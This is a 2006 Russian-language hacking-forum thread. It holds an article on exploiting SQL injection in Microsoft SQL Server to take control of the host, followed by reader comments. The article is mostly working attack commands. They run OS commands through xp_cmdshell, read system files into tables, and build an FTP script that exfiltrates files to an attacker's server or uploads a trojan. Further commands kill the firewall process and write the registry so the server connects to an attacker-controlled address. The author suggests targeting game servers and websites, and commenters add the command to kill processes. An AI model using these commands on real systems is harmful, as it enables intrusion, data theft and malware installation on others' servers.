Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Захватываем контроль над сервером используя mssql. (https://forum.antichat.xyz/showthread.php?t=28938)

vmn 12.12.2006 01:41

Захватываем контроль над сервером используя mssql.
 
Статья о том, что можно выжать из найденной инъекции на сервере MSSQL.

Как известно, язык mssql поддерживает несколько команд в одном запросе. Они разделены через ; Настоящий подарок для хакера! В отличие от mysql есть возможность ввести любую команду в БД сервера.

В mssql есть куча хранимых системных процедур. Вот их краткий список -
xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)

Нас будет интересовать в основном xp_cmdshell. Благодаря возможности вывода комманд в файл мы может увидеть результаты команды. Пример:
exec master.dbo.xp_cmdshell 'dir "c:/" >> c:/boot.dll'
Теперь в файле c:/boot.dll будет список директорий диска C.

Немного о чтении файлов:
CREATE TABLE temp_table (file2 char(5000) NOT NULL) - создаем таблицу куда будем читать.
truncate table temp_table - чистим эту таблицу
bulk insert temp_table from 'c:/boot.ini' - загружаем файл в таблицу
SELECT * FROM temp_table - выдаем на экран содержимое
Внимание: таким способом можно читать файлы только если есть возможность вывода информации на экран, в обратном случае смотрим ниже.

После окончания работы с таблицей не забудьте
DROP TABLE temp_table
иначе возникнут пробемы у хозяев сервера при бэкапах.

Очень часто возникает потребность в скачивании важных файлов с сервера (или наобот закачать троян на сервер).
Нетривиальная задача - ведь у нас есть только командная строка и мы даже не всегда можем посмотреть результаты выполнения команды.
Но команда ftp очень облегчает жизнь.
Допустим 10.10.10.10 - наш фтп сервер, 123 - пользователь, 123 - пароль пользователя 123.
Тогда выполнив группу команд
exec master.dbo.xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\cmd1.exe' - делаем копию cmd чтобы можно было выполнять @echo

exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo open ftp.server.net > c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo put c:\boot.ini >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c @echo bye >> c:\ftp.ini'
это мы создали файлег c:/ftp.ini с содержанием
open 10.10.10.10
123
123
put c:\boot.ini
bye

exec master.dbo.xp_cmdshell 'c:\cmd1.exe /c ftp -i -s:c:\ftp.ini' - грузим c:/boot.ini к себе на фтпшник.
Совет: потренируйтесь сначала на своем домашнем компьютере, убедитесь что все работает.

Разуемеется если на сайте есть сайт то можно сделать намного проще - copy c:/boot.ini c:/inetpub/wwwroot/123.ini и потом читать его из браузера как http://site.ru/123.ini
Однако во первых нужно знать установочную директорию сайта, а во вторых загрузить трояна таким способом у вас не получится.

Итак если вы вслепую делаете инъекцию (например union select... сделать не получилось или вы нашли инъекцию в какой-нибудь онлайт игре) вы все равно сможете узнать результаты выполнения комманд.
Просто вместо c:/boot.ini из предыдущего примера отправляйте к себе на фтп файл с результатами команд cmd.

Про блокирование фаервола:
Самый простой (но паленый) способ это поглядеть список процессов при помощи
exec master.dbo.xp_cmdshell 'tasklist >> c:/boot.dll', найти там процесс фаервола и убить его (к сожалению команды-аналога killl в unix не помню, поглядите в справочниках).
Также у нас есть полный доступ к системному реестру винды при помощи xp_regwrite.
Например разрешим mssql серверу соединяться по 80 порту:
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServ er\Client\ConnectTo','Hacke
rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'

Итак в случае если сервер настроен по умолчанию (под администратором в виндовсе и под sa в mssql), если нету ограничения на длину запроса и нету фильтрации спецсимволов мы можем захватить полный контроль над сервером.
Могу сказать, что такие настройки встречаются очень часто. Таким образом, найдя инъекцию в игре или на сайте, можно скачать важную информацию с сервера или захватить над ним полный контроль.

Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию. Может быть поможет кому-нибудь.

Ссылки по теме:

_http://www.marketer.ru/node/795/
_http://fenix.lamak.ru/Journal/XAKEP/2003/(8)56/050/2.htm

Про отключение стандартного фаервола из командной строки windows где-то видел тему, но потерял ссылку (

Xex 13.12.2006 03:16

Re:"Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию." - фуфло, это я читал где то точно, не буду спорить может ты из нескольких статей это вырезал, но не твое точно,
даже сомневаюсь, что ты в курсе что есть такое хранимые процедуры.

NaX[no]rT 13.12.2006 03:36

Цитата:

(к сожалению команды-аналога killl в unix не помню, поглядите в справочниках).
taskkill/?
Цитата:

найти там процесс фаервола и убить его
При килянии его из процессов, он тебя пошлёт на йух.
Молодец, продолжай так же

guest3297 13.12.2006 04:01

Хорошо хотя много лишнего и оформление не очень

ReanimatoR 26.12.2006 12:57

Цитата:

Сообщение от Xex
Re:"Моя первая статья, не судите строго. Писал по своему опыту, пришлось долго искать необходимую информацию." - фуфло, это я читал где то точно, не буду спорить может ты из нескольких статей это вырезал, но не твое точно,
даже сомневаюсь, что ты в курсе что есть такое хранимые процедуры.

фуфло эт у тебя... я эту статью искал дня два в инете. Давай попробуй, чтож ты протсо так орешь?
А по делу. Это реальная статья, особенно очень пригодится при взломе игровых серверов;)

Talisman 02.01.2007 18:09

http://injection.rulezz.ru/MSSQL-Injection.html ))) пародия??


Время: 14:23